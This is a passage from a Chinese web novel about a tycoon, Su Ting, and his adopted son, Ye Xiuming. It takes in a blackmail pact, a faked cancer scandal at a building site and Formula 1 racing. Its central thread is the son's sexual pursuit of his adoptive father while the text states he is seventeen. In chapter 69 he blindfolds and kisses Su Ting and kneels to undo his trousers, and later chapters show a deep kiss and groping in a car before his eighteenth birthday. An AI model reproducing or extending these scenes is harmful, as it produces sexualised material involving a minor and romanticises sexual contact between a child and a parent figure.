郑力笑道:“比起你的生父,你好像更关心你养父的生死啊。” 叶修明的眼底晃过一瞬间的温情,转瞬即逝,“他养教于我,也是救我命的大英雄。” “要知道你这么重情重义,我一早就该对苏廷下手的。” 叶修明目光锐利地盯着他,似乎想用眼睛剜了郑力。 “好好好,我答应你,给扉合一个洗白的机会。叶修明,我不可能一直扣留着你,你养父肯定要有动作,说不定真有门道解决了我,所以咱们要定个君子协定。如果叶淮安最后还是把我这些年的所作所为吐出去,苏廷的死活我就不能保证了。” 叶修明缓缓把手机扣了下去,郑力立刻给秘书递了个眼神检查他的手机。 在发现并没录音后给郑力比了个OK的手势。 郑力说:“别怪我谨慎,小心驶得万年船,这些方面马虎不得。” 叶修明举起酒杯一碰桌子,“那我就谢谢郑叔叔了。” 可他心里的牙都快磨烂了,能把叶淮安和苏廷扯上关系,还是生死契,也就只有郑力这个王八蛋干得出来。 郑力放他回家的时候,他甚至走不了直线,在大街上晕头转向地乱撞。 趁着还有几分理智,叶修明给钟祥打去电话,假装自己还被绑架,用孱弱的声音告诉钟祥:“是郑力绑了我,他能绑我一次,就能杀我一百次,钟叔,你去求求我爸爸,让他咬死都别开口。” 钟祥哪知道叶修明是胡编乱造的,魂都吓飞了,忙答应着:“我明天就去找他!” “谢谢钟叔。” 叶修明的心魔顿时去了一半,似乎从穿林羽箭中活了过来,立刻打给周叙白说事情都搞定了,然后定定地说:“小爸过几天就可以回来了。” “真的?!你也出来了??”周叙白觉得有些蹊跷,“你不会真同意郑力让他一直逍遥法外吧。” “我没得选,大爸。”叶修明毫无怨尤,冷风吹来,额发微微摆动,看不清脸上的神色。 “可这畜生今天能弄出这么大的爆炸案,明天呢?你想过这个问题没有?” “我只想让小爸的名声不要毁掉,”叶修明说,“叶淮安的自由,有幸能换你们所有人的自由,是他的福分。” 周叙白直接倒吸一口凉气,忍不住问道:“可你小爸有五年放着你不管,真正养你的时间屈指可数,倘若论骨肉亲情,那是怎么都比不上你亲生父亲的。” 叶修明:“那是因为我对他有别的想法。” 周叙白沉默了一会儿,回过味来后刚要咄咄逼人地输出一番,就让这小子给挂了。 别的想法?在这种语境下,几乎没有其他可能。 还嫌不够乱吗?! 苏廷是在一片嘈杂中分辨出周叙白到底在叨叨些什么的,他一边听一边蹙眉,也知道叶修明妥协了多少,心想要早点回去安慰他一下。 夜色下,还能分辨出不远处万神殿的宏大穹顶,苏廷走走停停的,终于,听到一声模糊的“有想法”。 苏廷:“你大点声,我听不见。” “叶修明那个臭小子对你有别的想法!”周叙白气道。 苏廷直接眼前一晕,差点站不稳。 周叙白算是看明白了,叶修明这狗屁烂孩子就是过来祸害苏廷的,管他牺牲多少、妥协多少,只要是以养子的身份对苏廷产生不切实际的想法,那都叫叛徒! “他给你说的?” 周叙白的眉毛几乎竖起来,“哼”了一声后,说:“不是他还能有谁。” “我现在严重怀疑当年的照片,就是他写的那些字!” 第68章 “又在说笑,那件事早就有定论了,是裴星遥的手笔。” 周叙白是气不过叶修明把好好的关系淬变成带毒的,说话间当然有夸大的成分,可是叶修明依然不该对苏廷动凡心,这是谁都懂的大道理。 “你听见这个的反应怎么这么平静。” 苏廷说:“因为我知道这是不可能的。” “他都说了,我清清楚楚听到的。”周叙白说。 苏廷:“因为我跟他是不可能的,所以才没有任何感觉。”苏廷看了眼逐渐深邃的夜空,“甚至比当年你说喜欢我时还要波澜不惊。” 这下周叙白放心了,指着天说:“你敢发誓吗?永远不会跟叶修明在一起?” 苏廷说:“根本就没这种可能性,我发什么誓?” “不行,你得当着我的面,说你不可能接受养子的喜欢。” “周叙白,我发誓总可以了吧。”苏廷开始往酒店的方向走,鹅卵石的路上洒下一片月光,就像他现在清透的心房。 他不会把这一生过这么艰难的。 周叙白没必要白担心一场。 几天后,扉合地产爆破事故的真相出来了,在郑力的安排下,事故原因变成了老厂的虚瞒不报,终酿成今日恶果。如此操作下来,当年老厂的责任人也无从查找,甚至都不用拎出个替罪羊来。 又过了几天之后,苏廷才秘密赶回国内,下机的第一件事就是往西郊跑。 周叙白开着车,说:“怎么还去那鬼地方。” “看看什么时候能动工。” “你还想着在那片废墟上建房子?!” 苏廷“嗯”了一声。 “苏廷,我收回前几年我喜欢你的这种浑话,你最近是不是有点不正常?” “是,被你看出来了。” “真该找个什么人来管管你!”周叙白说,“不然你真的失控了。” “你尽可以去找,能找到就算我苏廷欠你人情。” 周叙白这下连苦胆都想吐了,摊上这么个祖宗爷,扉合还有未来吗? 前前后后给西郊填进去的真金白银,足够其他地产商资金断裂几次。 说不准还只有叶修明能管管苏廷那颗日渐膨大的内心。 想到这里,周叙白在心里冲自己插了把刀子,他真是走投无路了,连用叶修明救急都想到了。 话又说回来,这些年除了一个裴星遥跟他出现过亲密的举动,就再也没人撩拨成功过,苏廷作为正值当年的正常男人,总会有对性的需求,就算他嘴上说不要,身体能忍吗? 全是憋的。 周叙白带他到了西郊那片黑焦的土地后,本以为苏廷会绝了继续开发的念头,可他迈着长腿绕场半周后,振开双臂,说:“你看到了吗周叙白?一年后这里一定会竖起一片高楼,人们也一定会对这里趋之若鹜。” 周叙白看到了个屁,他坐五年牢出来可不是为了看苏廷发疯的。 “真该把你关到疯人院。”周叙白踩着路旁被火燎过的焦土,双臂交叉,“我真想让以前那个理智冷静的苏廷回来。” 苏廷倏地回头,用佯狂的神态盯着周叙白:“我还不够冷静不够理智吗?我毕生的梦想就是在西郊给她建几栋房子让她颐养天年,为什么这也叫失去理智?” “他是谁?”周叙白愣了愣,问道。 “外祖母。” 周叙白比刚才愣得更凶,“可她已经去世了,你还较这个劲干什么?而且……为什么非得是西郊?” 苏廷微微一笑,说:“我明天就要让几十台挖机过来动工,这个劲我较定了。” 周叙白也不惯着他,眯了眯眼睛后就给叶修明打去电话,几近崩溃地说:“快来西郊工业园,你小爸疯了。” 苏廷听到他打电话的内容,脸色骤然变了,说:“你叫他干什么?” “让你儿子好好管着你!” 当叶修明赶到的时候,暮色已经悄然降临,这片黢黑的土地顿时有了暖意。 他的车修好了,胳膊也好了,从车上一跃而下的时候,苏廷感受到了前所未有的压迫感。 周叙白像是交付破烂摊子一样把苏廷甩给了叶修明,恨其不争地看了苏廷一眼,对叶修明道:“别被他表面的样子蛊惑了,苏廷有病,必须得治!” 叶修明笑着说:“我知道了,大爸,你慢走。” 他一路目送着周叙白离开后,折身看着还在立于废墟上的苏廷。 苏廷的脸是久不见光的病态白,精致的五官裹着淡光,让他有种温柔恬静的气质,然而眉眼间的清冽让他的全脸都写着“生人勿近”,侧面的线条近乎锐利。 他肩颈的线条流畅且挺拔,让清瘦的身体像是棵安静的树。 单论皮囊,他还没见过比苏廷好看的人。 而周叙白所说的疯癫的本质,让叶修明生出更多的兴趣来。 他兴致盎然地舔了舔嘴唇,对苏廷弥漫心间的感情就要冲天而出。 “小爸,”语带玩味,“我晚上想吃洋蓟,你给我做。” 苏廷立刻看了眼这个小混账,说:“我一直想说,那东西有什么好吃的。” “对身体好。” 苏廷不解地问道:“你会因为对身体好,而喜欢什么东西,对吗。” “我会因为喜欢,而喜欢。”叶修明道,“说对身体好,不过是借口。” 苏廷垂眼时,像落下一片柔软的阴影,稍稍化解了眉宇间过于清晰的冷感。 他继续追问道:“那你会因为什么而喜欢呢。” “因为本能。” 叶修明如是说。 苏廷笑了,“我们回家吃饭。” 他站在距离地面稍高的地方,微展双臂,递给了叶修明一个眼神。 叶修明很快就了然地走到他面前,试图将双手伸到腋下,抱住苏廷。就在两人身体相触碰的一瞬间,叶修明“嘶”了一声,说:“胳膊好像还没好全。” 他将右臂缩了回来,用单臂的力量向上轻轻抬起苏廷的身体,轻松将他抱了下来。 苏廷下来后,微蹙着眼眉,有些焦虑地查看叶修明的右臂,他轻轻抚摸了几下,说:“这里疼,还是这里?” 叶修明说:“都有点……” 苏廷:“你说好不会骗我的对吧。” 叶修明“嗯”了一声。 “什么叫对我有别的想法。” 第69章 “我胡乱说的,你别当真,可能当时我喝多了吧。”叶修明不敢直视苏廷的眼睛,生怕被看出些许端倪。 原来是这样啊。 苏廷的注意力马上去了叶修明竟然还在喝酒上,伸出手,作势要打他,“都说了未成年不能喝酒,你怎么就是不听?” “好了,小爸,我记住了,”叶修明拉住苏廷的手,“今晚咱们开什么酒?” 苏廷是真拿他没招了,使劲回握着叶修明的手,说:“再过几个月,你想怎么喝就怎么喝。” “我的成年礼物可不能只是醉一场。” 苏廷“哦?”了一声,“你想要什么成年礼物?” 叶修明说:“保密。” “不过你的十七岁,确实比我的要精彩多了,”苏廷一顿,“谢谢你用叶淮安的自由换我的。” 叶修明:“小爸,‘谢’是要用行动体现的。” “那我以后都给你做饭,怎么样?”苏廷眉眼弯弯地一笑,令叶修明的呼吸一滞,想到今后在无人打扰的家里只有他跟苏廷,就算有八病九痛,也值了。 叶修明说:“可能还不够。” 苏廷:“那我连饭都不做了。” “你先别收回这个,等我想好了,跟你换,行不行。”叶修明的指尖轻触那隐藏的门把手,只听一声极细微的电机嗡鸣,那扇巨大的、由昂贵碳纤维制成的车门并没有直接掀起,而是在空中划出一道完美的马蹄形弧线,稳稳扬起。 苏廷握住门内侧那个精致的拉手,微微用力向下带,点了点头,说:“那就等你想好。” 车尾迅速甩远后,他们很快便到了家中,叶修明换上拖鞋,去洗了手,穿着黑色的连帽卫衣和同色系的羊毛阔腿裤,宽大的裤腿罩在鞋面上,只露出一点鞋尖,显得慵懒又时髦。 苏廷放下外套,径直走到厨房,尽心尽力地处理着食材,他越来越娴熟的动作甚至让佣人都自愧不如,也在一旁打着下手。 苏廷看了那佣人一眼,给了她一个“离开”的眼神。 曲姨就心领神会地回了房间,结束一天的工作。 忽然,在苏廷的身后刮过一阵细小的微风,随后便是叶修明裤子的布料与自己的裤子摩擦的窸窣声。 苏廷放下手中的剪刀,布满青筋的手捏在了台面上。 他的手顿时被温热光滑的手掌覆住,带着暖烘烘的痒意,却让苏廷有种船锚终于靠岸的安心感,瞬间抚平了所有的躁动不安。 苏廷闭上眼,微微仰起了头,恰好靠在了叶修明的左肩之上,耳朵与他的相互摩挲,微启唇齿:“修明,这样是不对的。” “你看不见我,我就不是叶修明。” 叶修明抽出手中的领带,轻轻地盖住苏廷的眼睛,环绕一圈后,打了个死结。 见苏廷好像默许了他的放肆,他又把苏廷的肩头扭转过来,与自己面对面。 苏廷高耸的鼻峰让那墨黑色的领带遮住了大半,但留了鼻尖痣给自己,未经苏廷允许,叶修明就轻轻地在那颗痣上落下一个吻。 苏廷明显打了个颤,可他看不见叶修明的表情,更看不见他的人,刚要把领带扯下来的时候,叶修明的声音就起了:“我给你两个选择,是看见我选择退出这场游戏,还是继续玩下去。” 他的嗓音灼人心防,火烤了苏廷最后一丝理智。 十年的时间,他好像压抑自己太久了,纤细如缕的欲-望长长裹挟着他,让他在深夜里困窘难当。 这事挺不好启齿的。 他如实地感知到了身体的反应,一时间有些不知所措。 与他的腰腹几乎呈连体形状的叶修明自然也觉察出了什么,默不作声地跪在地上,伸手想去解开苏廷的裤子。 苏廷还是按住了叶修明的脑袋,向一边偏过去,说道:“今天就当是咱俩都喝醉了,不许再提起这件事。” 他扯掉领带,才看到叶修明的眼眶有些泛红,正有些无语地坐在地板上。 “你还委屈上了。”苏廷说。 “为什么不要?”叶修明问道。 苏廷重新拿起了生硬的洋蓟,背过身去,“因为我想让自己的人生简单一点。” 他二十七岁领养叶修明的时候,他才十一岁,还是个刚刚会认路的小孩,人生最大的爱好就是吃肉,他是看着叶修明一步步长大成人的。 自己本就是这段关系里拥有绝对权威的那个人,不该主导他们的关系走向堕落,他也不想再被人戳脊梁骨了。 “可你明明想要。”叶修明想如法炮制刚才的温存,再次上前抓住了苏廷的手。 在看不到的地方,苏廷陷入了更深的挣扎,叶修明现在能撕下部分伪装,有意识地用真实的、带着锋芒的魅力去吸引和刺激自己,真的不是他强烈的荷尔蒙的力量吗。 苏廷就算想要认爱,也是不掺杂其他成分的纯粹的爱。 “你还小,等你再大一点,再去做决定也不迟,那样才是对你最好的。”苏廷把他的手放在一边,“就像你骨折的手,愈合的时间总是比我们这些成年人要快一些,所以感情……也是来得快,去得也快。” 叶修明想说不是这样的,他是一旦确定心意,就绝不会再更改的倔驴,任他天王老子来了也不会变。 苏廷只能用更深的冷漠和疏远来推开叶修明,他在这次谈话后,就亲自在西郊的土地上监工,与工人同食同寝,叶修明坚持不懈地过来看他,都被他拦在门外。 很快,在那片废墟上平地起了高楼,而叶修明的十八岁生日也快到了。 今天工地上的伙食还算不错,但再不错,这也是工地,苏廷在这里监工的数个日夜,周叙白也得暗无天日地守在工地上,心里有百般滋味,却都是苦涩。 周叙白给苏廷端来餐盘,还有一杯酸奶,说:“你躲在这里还想多久?” “谁说我躲了。” “我前段时间看见小叶子天天跑过来找你,可你倒好,躲着不见,还总是找各种理由。”周叙白说,“现在好了,小叶子有段时间没来了,你满意了吗。” 第70章 苏廷说:“他们这个年纪的人,本来就容易一时冲动,不来……就不来吧。” 叶修明一定是想通了,想通了人才算长大。 “就算他对你还有别的想法,你也不至于躲着别人,”周叙白诚恳地说,“小叶子重情重义,为你挡了不少灾祸,能被这样的人喜欢,你也不亏。” 经过上次跟郑力的谈判,周叙白自认连他自己都做不到像叶修明这样,自己的能量就如同一缕微云,太不经事了。 英格兰中部,银石赛道,距离裴安的车队主场仅有数公里。 场地上方飘着一片雨云,“唰”的一声细密的雨点就落了下来,这是典型的英国天气,也给过银石赛道的高速弯角带来了不确定性。 裴安扣好安全帽的束带后,给另一辆阿斯顿马丁举了个大拇指,但出发前的气氛异常凝重,即将爆发什么样的混乱谁也不清楚。 叶修明感受到了在座舱内的鼓噪的心跳声,在专注的寂静里发出引擎的咆哮,紧接着就如离弦的箭,在穿透耳膜的声噪中撕裂空气。 那辆绿色的阿斯顿马丁拖着残影的流光,与地面的高速摩擦中产生了灼热的金属味和燃油的废气味。 叶修明通过地面感受着低频的震动,从脚底传遍全身,风流与气压也准确地被身体捕捉到。 在第一个高速弯道时,叶修明只稍稍减速,堪堪擦着边线过弯,场边的工程师们一边盯着密密麻麻的数据屏,一边紧捏着拳头为这位来自东方的赛车手加油鼓劲。 一圈、两圈……直到他身边的裴安再也追不上阿斯顿马丁的尾气。 “叶,”车队的经理在叶修明靠稳车子后上前问道:“你真的不想留下来吗?” 叶修明面露难色:“我养父怕我会有危险。” “危险?以你的技术,恐怕是别人更危险,比如你身边那个。”车队经理道。 裴安吐了下舌头:“银石赛道我跑得不多,今后要多练习。” 那经理的注意力还在叶修明那里,“F1赛车,既冰冷又热血,既嘈杂又宁静,是有序的混乱,是一个矛盾的综合体,有独特的魅力,让人欲罢不能,相信不久的将来,你一定能下定决心。” 有序的混乱……那是苏廷带他吃第一顿饭的地方。 裴安拍着胸脯:“你等我把他归化吧!” 叶修明笑了笑,裴安嚷嚷道:“这么多天,你居然笑了!经理!快来给我俩拍照!” 裴安递上手机,车队经理趁两人还都在车上给一前一后的他们合了张影,叶修明不再吝惜他的笑容,在雨后初霁的天空下笑得非常灿烂。 “我发个朋友圈吧,咱俩好长时间没合影了。” 叶修明刚想阻止他发朋友圈,忽然心念一动,说:“你发吧,最好能让苏廷看见。” “怎么不喊‘小爸’了?”裴安疑惑道,“你俩又闹矛盾了?这次你藏了几张照片?” “没正经的,”叶修明脱下修身的赛车服,换上干净的白色衬衣,“一言难尽。” 西郊的工地上,天色渐黑,机器却没停止转动。 周叙白拿着手机,忽然跳了起来,说:“原来小叶子去了英国,他怎么还在玩赛车?!” 苏廷一愣,缓缓伸出手去,说:“我看看。” 周叙白给了他手机,只见照片上叶修明笑靥如花,与裴安像是一对璧人,看起来非常享受跟裴安玩这项极限运动。 就在周叙白准备感慨几句儿子大了之类的话时,苏廷已经静静地来到窗前,给叶修明打着电话。 接听后,只听电话那头出现类似于庆祝的欢笑声,还有裴安的笑声,只不过叶修明迟迟没有说话,在那片嘈杂里,苏廷准确分辨出了他的呼吸声。 “修明。”苏廷率先开口。 “怎么了?” 叶修明语气淡淡的,似乎不欢迎这次打扰。 苏廷心想,他虽然是叶修明的养父,可也没有左右他人生的权利,如果赛车是叶修明必须要去做的事,那他绝不该妄加干涉。 “修明,注意安全。” 苏廷笑着说。 叶修明说:“你看到了?” 苏廷“嗯”了一声,“我还看到你很开心,开心就去做吧。” “让我开心的事都能去做吗?” 苏廷怔忡地瞧了眼那轮明月,和它带来的凄沉的月光,摸了摸心中坚守的底线,依旧是牢不可破的,于是说:“不能。” “可我已经成年了,有自由选择的权利。” 苏廷:“我很早就成年了,不也没有自由选择的权利吗。” “好,那我就和裴安在一起!” 叶修明愤愤地摔了电话,胸膛止不住地起伏,在一旁的裴安可全听到了,他翻着白眼,“我可算知道你在拿我当什么了,原来是刺激你小爸的武器。” 叶修明怔怔地看着他:“对不起啊,我以前都是这么用你的。” “你真喜欢你小爸?” 叶修明没有犹豫,“嗯”了一声。 “哇靠!从什么时候开始的?你小爸知道吗?” 叶修明抓了抓头发,他也不知道从哪天开始动心的,反正就像磁场里的那些带电粒子,也像跑道里最初很有秩序的跑车,最终变得越来越混沌。 再到混乱不堪。 叶修明只道:“就当我心里的秘密吧。” 他看着恣意张扬的人群,不明白自己和苏廷为什么就不能像他们那样。 “苏廷……他应该知道。” “不对啊,大家都知道了那就在一起好了,顾及什么呢?”裴安说,“反正你们这么多年的感情,还能有什么阻碍吗?我可是举双手双脚赞成的啊。” “因为他是我的养父,我是他的养子。” 裴安冷笑一声:“就这?就这?你们解除领养关系不就行了吗?反正你也成年了,是可以这么做的。” 解除……领养关系? 叶修明从没想过这种可能性,从自己被捡来的那一天开始,他就是苏廷的所有物,是他本分的养子。 解除之后,真的就能毫不顾及了吗? “裴安,你有这方面的律师朋友吗?教教我,怎么跟苏廷断绝关系。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 苏廷已经不记得自己这是第几次因为裴安而心神不宁了。 他看着画面中神采奕奕的两个人,第一次出现“我是老了吗”的疑问。 苏廷不理解赛车带来的超越生死的体验,更没办法把叶修明放在任何一个虚拟的赛道上,他怕失去,怕再也见不到他。 恐惧深深地吞噬着他。 深夜,苏廷给叶修明发了条消息就蒙头睡了过去。 ——你想回家吃洋蓟吗。 这则消息,如同信号弹,引燃了叶修明的三魂六魄。 他买了第二天伦敦飞金城的航班,数次颠簸也没将他的兴奋打消。 苏廷没有过问叶修明的行程,而是在傍晚时分回到家后,处理那些硬邦邦的洋蓟。它的外表像一件中世纪的骑士盔甲,冰冷、坚硬、布满防御的尖刺,需要耐心地一层层剥开,才能触碰到洋蓟心那战利品般的柔软与鲜美。 就像他们这些年从生硬到柔软的关系一样。 苏廷用勺子挖出嫩滑绵密的洋蓟心,撒上面包糠、帕玛森芝士和蒜末,用锡纸包好后放入烤盘。 之后便是主菜的备餐,苏廷这次选择的是意式肉丸,这道菜不仅要煎炸还要合炖,所费功夫不少。 他将牛肉放入料理机中,准备打碎。 倏地,门被轻轻推开,随之而来的还有一阵朔风,是初秋那种干净的凉爽。 叶修明像是幽灵,无声无息地站在了苏廷的身后,手上还带着一份协议。 “小爸,”叶修明耳语道,“这可能是我最后一次叫你小爸了。” 苏廷骇然转过身来,看向叶修明幽深的眼底。 “什么意思?”他问。 叶修明把那协议高举,念了名字:“《解除领养协议》”,再悄无声息地观察苏廷的反应。 只见苏廷面有愠怒,“你找到更好的厨子了?” “是我找到了更好的办法,让我换一种方式去爱你。” 苏廷的体内仿佛正在沸腾,令他生出一身的细汗,晶莹的汗水顺着发烧汇集成水滴,倏然滑落。 他看着眼底眉梢全是诚意的叶修明,指端微微颤抖,想要拂去脸上的汗水。 叶修明却不允许自己这么做,双手环住了腰肢,倾身过来,亲吻每个即将掉落的汗水。 苏廷微微后撤,从叶修明吻他的第一次开始就止不住地打着冷颤,那些细密、温情的轻吻让他深深地在心里叹气—— 怎么真到这一步了。 他眼神安静而悠远地看着叶修明,脑海中浮现出一篇轰动头条的新闻。 《道德沦丧!上市公司董事长竟将养子变情人》。 之后他就真的全身心地退缩了,拍了拍叶修明那好看的脸蛋,笑着说:“先吃饭,一会儿再说。” 叶修明无辜地看了眼自己的腰腹以下,再用乞求的目光看向苏廷。 知道他什么意思的苏廷心里也想,却没惯着,与其真的酿成大错,不如先给他泼盆冷水。 “修明,就算我真签了这份协议,你被我领养的那几年也是抹不去的。” “我知道,所以我要换一种方式‘孝敬’你。” 苏廷的血色消尽,“你误解我了,我的意思是……唔——” 这一次叶修明没再体己地关照苏廷的观点,而是用一个悠长连绵的深吻阻拦了苏廷的顾及。第一次真切地与人接吻,叶修明竟然发挥得不错,先是唇瓣相贴,再慢慢加深,将自己凛冽的气息全部交付给苏廷。 苏廷已经失去了思考的能力。 他的心在剧烈地颤抖,人也被未知的力量弄得灼热焦躁,不自觉地在喉中发出一声沉吟。 于是叶修明抱得更紧,两人之间也几乎失去了距离,苏廷前一秒垂下的双臂此时已经放在叶修明的颊侧,指尖狠狠地戳进皮肉里,带着一种前所未有的狠绝。 苏廷从未被如此强烈的冲动左右过,即使在他最年轻气盛的年纪。 怎么办? 一边是道德的指控,一边是身体的欢娱,他夹在中间,无处躲藏。 就在他想一边倒地选择放纵自己欲-望的时候,周叙白的电话来了,一开始苏廷并不想接,主动勾住叶修明的舌尖引君入瓮,但电话一直不停地响,想必周叙白一定有他的理由。 不然他就死定了。 苏廷从灼热的接吻里首先退出,叶修明的眼神却一直不停歇地跟着他,苏廷按下接听键,一边擦了擦嘴边的水渍。 “苏廷,出大事了,十几个建筑工人查出患有淋巴癌,已经有媒体报道这件事了,说是旧厂址遗留了大量放射性物质,根本就不是人待的地方!” “放屁!”苏廷忍不住大声喊了一句,“当初所有环境监测的步骤都是经过几大部门审批过的,绝对不可能出现这种情况!” 周叙白道:“但工人们患癌是实实在在发生的事情,你总不能坐视不管啊!” 苏廷:“我要管,我还要管他们背后的指挥者,我倒要看看是谁这么大的胆子,敢在我的地盘上撒野。” “你是说……这件事是有人指使的?” 苏廷:“动动你的脑子好好想一想,西郊是你亲自做的环境、土壤、甚至岩土的勘测,出现过一点问题吗?” 周叙白:“那肯定没有,有的话谁让我们动工啊。” 苏廷:“白痴,这种事情还用我教你。” 周叙白:“那我们现在该怎么办?” 苏廷充满歉意地看了眼叶修明,说:“那十几个工人是不是在医院?我这就过去。” 他刚要走,手就被叶修明死死地握住了。 叶修明笑如春野,“无论什么事,我都陪着你。” 苏廷仿佛刚才没跟他接过吻,面容寒冽地说:“就算我在协议上签字,也不代表什么。” 说罢,他就拿起笔“唰唰”地签上了大名。 叶修明的心情可用大起大落来形容,也赶紧签了名,将那份协议放进卫衣的大兜,小心揣着。 不过,这是一个有关苏廷和他养子的故事的结束,难免令人怅然若失。 以前那些好的、坏的好像都只有随风去了。 第72章 住院部相邻的几个病房内,住满了罹患淋巴癌的工人,他们病气怏怏地躺在床上,好似即将走到生命的终点。苏廷赶到后,顿时被几位家属围堵,躲在一边的媒体记者见状也爬起来按下快门。 “快看!这就是扉合的大老板,就是他害我老公得病的!” 说着,就有人开始朝苏廷推搡。 叶修明立刻用身体挡住他,怒道:“在事情没有查清楚之前,你们这叫诽谤。” 周叙白一听,额间全是汗,现在应该尽量安抚家属,防止他们随口乱说,叶修明倒好,还指责上了。 果然,叶修明的言语激起了家属们的反抗,他们潸然泪下地面对镜头道:“我们明明才是受害人,凭什么要给我们泼脏水啊。 你们不知道,这个工地一共才一百多个工人,得病的却有十分之一,这难道不恰恰说明了这块地有问题吗。” 苏廷不急于自证,却拨开人群,走到一间病房,看着那几个躺尸的工人,面露疑色:“我怎么从来都没见过你。” 那位病人费劲力气,戳着苏廷的鼻梁,说:“你天天坐在高档办公楼里,怎么可能见过我呢?” 周叙白一听有点生气:“苏廷这些天一直住在工地上,跟工人们同吃同住,这你难道不知道吗?连这个都不知道的话,你确定是在我们工地上得的病?” 苏廷摆手,示意周叙白打住,他冷峻的目光横扫病房一周,比凛冬的风还要寒冷。 他明白解开这个谜团的办法只需要调监控就行,可他还是高兴不起来。 背后的那个黑手,到底是奔着什么来的? 修明……会有危险吗? 苏廷这才恍然发觉,叶修明已经看不见影子了。 他头皮发麻,连忙从病房里出来找叶修明,却发现他正把那位男记者围堵在墙边,单手撑着墙,不让他出来,嘴角还有一抹淡淡的微笑。 那位记者年龄不大,像刚毕业的,略显稚嫩,脸上是明显的羞赧神色,正捂着嘴偷乐。 那人嗔笑:“你也太逗了。” 叶修明一歪头:“现在可以把照片删了吧。” “那你周末真的会带我去半影回廊?” “一言为定。” 能去Threshold对面楼顶的半影回廊喝酒,是身份的象征,那是会员制,筛选会员的方式据说比有些高尔夫球场更加严苛。 像叶修明这种,是存了几桶高年份的威士忌在半影,单桶就高达数百万。 “你叫什么名字?我可以告诉半影的服务生,下回我不在你也可以去。” “我叫林江行,你呢?叫什么?” 他一字一句,“叶、修、明。” “修明!”苏廷唤了一声。 叶修明比了个“打给我”的手势后,就转身回到苏廷的身边,不知道为什么,林江行看着苏廷,有种被冰锋刺伤的感觉,那种深深的敌意也是难以形容的。 当叶修明站在苏廷身边时,刚才那股风骚浪荡的气质又变得干净清透,仿佛……刚才是在演戏一样。 林江行的脸上浮上了一丝疑惑。 这次的医院之行令苏廷的心里有了谱,可他一路上都晾着叶修明,只跟周叙白商量下一步对策,还有应对媒体的办法。 周叙白道:“我就知道咱们西郊没有问题。” 苏廷翻了个白眼:“那刚才吵吵嚷嚷的人是我吗。” 叶修明插不进嘴,摸苏廷的手也不给回应,只有在一旁审慎观察着情况,大概明白了苏廷为什么冷处理他的原因—— 他跟另外的男人嬉笑自若。 于是他探向苏廷的手更加放纵,沿着黑色西裤内侧的褶皱,不停地向里。 苏廷给他递了个警告的眼神,却让他更肆无忌惮。 滚烫的热流顿时在车内循环,让苏廷有些难以呼吸,他咬着舌尖,想让那种感觉快点消退,在叶修明看来,却性感无比。 他真想把周叙白踹下车去,现在就剥开苏廷的衣物,看看是不是跟小时候的梦一个模样。 叶修明直勾勾地盯着苏廷的眼睛,再将视线缓缓移到苏廷的嘴上,那是颜色极淡的唇,唇线却勾勒得异常清晰利落,棱角分明。 他不敢想,连吻他都已经这么爽了,做其他的事情会不会让他灵魂出窍。 转眼又到了晚上,不远处的星空璀璨,月色皎白,周叙白把两人放在苏廷家的楼下后,就去忙公关的事情了。周叙白他看着后视镜里越来越小的苏廷,总觉得有什么地方变了。 也不知道是不是他眼瞎了,他好像看见苏廷和叶修明在大街上拥吻在了一起,旁若无人。 “看来我确实太累了。”周叙白轻嗤了一声,“他们两个怎么可能呢。” 苏廷从叶修明的阵阵低喘声中后退一步,躲过了他的纠缠。 没想到,这小兔崽子,力气还不小。 他站在电梯内的角落,一边看着上面的数字越来越大,一边偷觑着叶修明。 而叶修明好像有所感应,微偏过头,向他笑了,然后说:“刚才我逗那个记者的,只想让他删照片,你别放在心上。” 苏廷自顾自地叹了口气,“你的事,我为什么要放在心上?” “那我——”叶修明暗笑道:“可以跟他约会?” 苏廷拧了拧领带结,一本正经地说:“解除领养的协议只是签了字,还没走法定程序,我现在是以养父的身份命令你,少跟来路不明的人来往。” 这不就是管他吗?叶修明抿嘴一笑,“后天就是我十八岁生日,我想好用什么愿望交换了。” 苏廷踏出电梯,用指纹打开门锁,“不管你在打什么主意,我都不会同意。” “你都不问问我是什么?”叶修明募地把苏廷拽到眼前死死地钳住,说:“还是你就那么自信,觉得能猜对我在想什么。” 苏廷心想,那还用猜吗,以叶修明这么血气正盛的样子,还不生吞活剥了自己。他说:“我猜不到,也不想问。” 他不想问,不代表叶修明不愿表达,果然,当时钟敲响零点的钟声时,叶修明缱绻无尽地说:“还剩一天,小爸,我想要你。” 第73章 “你想要我的扉合,我可以无条件给你;想要我珍藏的那些好酒,我也可以白送给你。但是,叶修明,我的人你永远都得不到。” 苏廷字字千钧,压得叶修明难以喘息。 他没想到苏廷会这么想不开。 可他们明明只差一步,缺的那点东西,真就是那不痛不痒的养父子身份吗。 如果他的火力再强一些呢? 所以不知他“无意间”碰了个什么东西,竟又呲牙咧嘴地抱住才好不久的胳膊,说:“我草,这也太疼了。” 苏廷眉头一皱,立即上前去看他的伤处,并说:“怎么这么不小心,再骨折了怎么办?” 叶修明好像确实把自己撞得有点疼,半天都没回过神,看到苏廷还是那么关心自己,顺势就靠在了他的肩膀上,“小爸,给我做饭,帮我洗澡……” 苏廷:“……” 虽然苏廷知道叶修明是在玩套路,但他胳膊的伤全怪自己当时求助于郑力,所以要为他的伤负责。 苏廷浅笑道:“好,只要你守规矩。” 今晚是佣人烧的粤式菜品,口味清淡,饭桌上叶修明问他:“你为什么不给大爸说我们要解除关系了。” 苏廷瞄了他一眼,说:“我怕他会哭出来。” “这么在乎他的想法,看来我小时候你确实考虑过跟大爸在一起。”叶修明夹着豉汁鸡爪里的花生米,“那在他出狱后呢?” “其实——”苏廷饶有兴味地看着叶修明说:“我从没想过跟任何人在一起,我也早就给你说过。” “说过什么?” “我没有爱人的能力。” 叶修明笑道:“但你有吃醋的能力,醋劲还不小。” “再废话晚上自己洗澡。” 叶修明就真闭了嘴,不过没隔多久,他就好奇地问道:“小爸,为什么你觉得自己没有爱人的能力?” 苏廷一撩眼皮:“没有为什么。” “说起来,我都没有好好了解过你的家庭,小爸,叔叔阿姨呢?” 苏廷没有说话,明显看出来有些情绪在身上。 “我从没听你提起过他们。” 苏廷苦笑了一声,开了口:“当时网络上都是我的私密照片,不小心也让他们知道了,从那时起就再也没认我这个儿子。” “扉合上市的时候他们也没有祝贺吗。” 苏廷说:“没有,他们好像把我隔绝在世界之外,无论我闹出多大的动静都不奏效。” “可你没做错,我也不会像顾见清那样对你。” 苏廷含着笑,“你还小,误以为自己见过世界。” “因为我年龄小,你就觉得我会辜负你,对不对。”叶修明坚定道,“我不会的。” 